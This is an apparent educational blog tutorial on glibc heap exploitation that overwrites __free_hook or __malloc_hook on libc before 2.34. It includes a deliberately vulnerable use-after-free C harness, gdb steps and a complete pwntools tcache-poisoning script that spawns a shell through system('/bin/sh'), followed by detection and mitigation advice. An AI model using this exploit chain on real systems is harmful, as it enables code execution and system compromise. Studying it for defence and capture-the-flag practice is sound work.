Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
For most of glibc’s history the allocator exposed a set of global function pointers — __malloc_hook, __free_hook, __realloc_hook, and __memalign_hook — that let a program intercept every allocation call. They existed for debugging and instrumentation (malloc tracing, leak checkers), but to an attacker they were the single most convenient target in libc: a writable function pointer that the allocator itself invokes on the very next malloc or free, with a first argument you frequently control. Overwrite __free_hook with system, free a chunk whose contents are "/bin/sh", and you have a shell in two lines.
This article documents that technique for the builds where it applies — glibc prior to 2.34, which removed the hooks entirely in 2021. Understanding it still matters: an enormous amount of deployed software, embedded systems, and CTF infrastructure runs older libc, and the hooks remain the cleanest illustration of how a heap write primitive becomes code execution. We cover how the hooks are wired into the allocator, exactly what argument each one receives, why __free_hook is usually preferred over __malloc_hook, and how a one_gadget substitutes when a clean system("/bin/sh") is not reachable.
Attack Prerequisites
The hooks convert a write primitive into execution; you supply the write and the trigger:
- A glibc older than 2.34 — the hooks were removed in 2.34 (2021). On 2.34+ these symbols no longer exist and you must use FSOP or exit-handler techniques instead.
- An arbitrary write to the hook symbol — commonly via tcache poisoning (returning a chunk overlapping
__free_hook), an unsorted/large-bin write, or a format-string primitive. - A libc leak, to resolve
__free_hook,system, and any one_gadget address. - A subsequent allocator call you can trigger — a
free()for__free_hook, or amalloc()/realloc()for the malloc/realloc hooks — ideally one whose argument you influence so you can point RDI at"/bin/sh".
How It Works
The public allocator entry points check their hook before doing any real work. __libc_free begins (conceptually) with void (*hook)(void *, const void *) = atomic_forced_read(__free_hook); if (hook != NULL) { hook(ptr, RETURN_ADDRESS (0)); return; }. So when __free_hook is non-NULL, glibc calls it with the pointer being freed as the first argument and the caller’s return address as the second, then returns without freeing. That first argument is the key: it is exactly the pointer you passed to free(). If you overwrite __free_hook with system and then free(p) where p points at the bytes "/bin/sh", the allocator executes system("/bin/sh") for you.
__malloc_hook works symmetrically but is slightly less convenient. __libc_malloc reads __malloc_hook and, if set, calls hook(size, RETURN_ADDRESS(0)) where size is the requested allocation size — an attacker-controlled integer, not a pointer to a string. That means a plain system call through __malloc_hook would pass a small integer as RDI, which is useless, so __malloc_hook is almost always paired with a one_gadget: a single libc address that calls execve("/bin/sh", ...) when its register/stack constraints hold. __free_hook is preferred whenever possible precisely because its argument is a controllable pointer, making the clean system("/bin/sh") path available without satisfying one_gadget constraints.
The write itself is usually delivered by heap corruption. On glibc 2.27–2.31 the standard route is tcache poisoning: free a chunk, overwrite its next pointer (unmangled before 2.32, XOR-mangled by safe-linking from 2.32) with the address of __free_hook, then allocate twice so malloc returns a chunk *at* __free_hook; a normal write into that chunk lands on the hook. Because the tcache path performs almost no integrity checks, this is short and reliable — which is exactly why the hooks were eventually removed. Note the safe-linking boundary at 2.32 changes the poisoning arithmetic even though the hooks are still present through 2.33.
Vulnerable Code / Setup
A minimal use-after-free over a fixed-size object is enough to reach a hook. The harness below frees without nulling, then lets the attacker edit the freed chunk (the UAF write) and request more allocations — everything tcache poisoning needs:
// hook_demo.c — build against an OLD libc (< 2.34)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static char *slot[8];
int main(void) {
printf("leak: %p\n", (void *)&puts); // emulated libc leak
char op; int i; unsigned n;
while (scanf(" %c %d %u", &op, &i, &n) == 3) {
if (op == 'a') slot[i] = malloc(n);
else if (op == 'f') free(slot[i]); // BUG: no slot[i] = NULL
else if (op == 'e') read(0, slot[i], n);// UAF write into freed chunk
else break;
}
return 0;
}
CCompile against a pre-2.34 libc — the technique simply does not exist otherwise. Confirm the exact version, since the safe-linking transition at 2.32 changes how you compute the poisoned next value:
$ gcc -no-pie -g -o hook_demo hook_demo.c
$ checksec --file=./hook_demo
RELRO: Partial | Canary: No | NX: Yes | PIE: No
$ ./hook_demo </dev/null # prints its build; or:
$ readelf -p .rodata /lib/x86_64-linux-gnu/libc.so.6 | grep -m1 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
BashWalkthrough / Exploitation
Confirm the hooks exist and note their addresses relative to the leak. On a target with hooks, pwndbg shows them directly:
gdb -q ./hook_demo
pwndbg> run <<< 'q 0 0'
pwndbg> p (void*)&__free_hook
pwndbg> p (void*)&__malloc_hook
pwndbg> p (void*)&system
pwndbg> one_gadget # pwndbg/one_gadget: list execve gadgets
BashNow the tcache-poisoning drive. Free a chunk, overwrite its next with __free_hook (mangling only if the target is 2.32+), allocate twice to place an allocation on the hook, and write system there:
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
io = process('./hook_demo')
libc.address = int(io.recvline().split()[-1], 16) - libc.sym['puts']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
def alloc(i, n): io.sendline(b'a %d %d' % (i, n))
def free(i): io.sendline(b'f %d 0' % i)
def edit(i, d): io.sendline(b'e %d %d' % (i, len(d))); io.send(d)
PythonPoison the tcache. Before glibc 2.32 the next pointer is stored verbatim; from 2.32 it is next XOR (chunk_addr >> 12), so mangle accordingly (that needs a heap leak, elided here):
alloc(0, 0x48) # a 0x50 tcache chunk
free(0) # -> tcache[0x50], next = 0
# glibc < 2.32: store target verbatim. 2.32+: XOR with (chunk>>12).
edit(0, p64(free_hook)) # overwrite next -> __free_hook
alloc(1, 0x48) # pops chunk 0
alloc(2, 0x48) # returns a chunk AT __free_hook
edit(2, p64(system)) # __free_hook = system
PythonFinally, arrange a free() whose chunk holds "/bin/sh" so the hook fires as system("/bin/sh"):
alloc(3, 0x48)
edit(3, b'/bin/sh\x00') # chunk 3 data = /bin/sh
free(3) # __libc_free -> __free_hook(ptr) == system('/bin/sh')
io.interactive()
PythonIf a clean system argument is not reachable — for example you can only trigger malloc — overwrite __malloc_hook with a one_gadget instead and let the next allocation satisfy the gadget’s constraints. Verify one_gadget preconditions in gdb first: many require [rsp+0x30] == NULL or a NULL in a specific register at the call site, and picking the wrong gadget yields a silent crash rather than a shell.
Note:
__realloc_hookhas a niche but real use:__libc_realloccalls it very early, and becausereallocmoves more registers around before the call it sometimes satisfies a one_gadget whose constraints__malloc_hookcannot. A classic trick is to set__malloc_hook = &realloc+N(to adjust the stack) and__realloc_hook = one_gadget, chaining the two to line up the gadget’s register requirements.
Opsec: Confirm the libc version before committing to hooks. On 2.34+ these symbols are gone and any exploit referencing them fails at address-resolution time; on 2.32/2.33 the hooks still exist but safe-linking changes your poison value, and forgetting to mangle sends
mallocan unalignednextand aborts with"malloc(): unaligned tcache chunk detected". Fingerprint first, then choose.
Detection and Defense
The definitive fix shipped in glibc itself; residual exposure is a function of how old your libc is and how well the preceding heap bug is contained:
- Upgrade to glibc 2.34+, which removed
__malloc_hook,__free_hook,__realloc_hook, and__memalign_hookoutright — the single most effective mitigation. - On older libc, keep safe-linking (2.32+) and the tcache double-free key (2.29+) intact; they force a heap leak and block the easiest poisoning and double-free routes to the hook.
- Full RELRO + PIE + ASLR deny the GOT as an alternative target and raise the cost of the required libc leak.
- Catch the underlying bug with AddressSanitizer, hardened allocators (scudo, GWP-ASan), and CI fuzzing; the hook overwrite is only the last step of a UAF/overflow/format-string chain.
Real-World Impact
__free_hook/__malloc_hook overwrites were, for the better part of a decade, the default final stage of glibc heap exploitation — nearly every heap CTF writeup from the 2.23–2.31 era ends by poisoning tcache or fastbins into a hook. Their removal in glibc 2.34 (2021) was an explicit, deliberate hardening decision by the maintainers, made because the debugging value no longer justified handing attackers a writable, allocator-invoked function pointer. That removal is precisely what pushed contemporary exploitation toward FSOP and House of Apple 2: with the hooks gone, the stream vtables and exit-handler machinery became the remaining libc-resident code-pointer targets.
Conclusion
The malloc/free hooks were a gift to attackers: allocator-invoked function pointers in writable libc memory, called on the next malloc/free with a frequently controllable argument. __free_hook receives the freed pointer, so system("/bin/sh") falls out directly; __malloc_hook receives the size, so it pairs with a one_gadget. A heap write primitive — usually tcache poisoning, with safe-linking mangling from 2.32 — plants the overwrite, and the next allocator call executes it. The whole class evaporates on glibc 2.34, which is both the cleanest defense and the reason the following articles move on to the stream- and exit-based techniques that replaced it.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments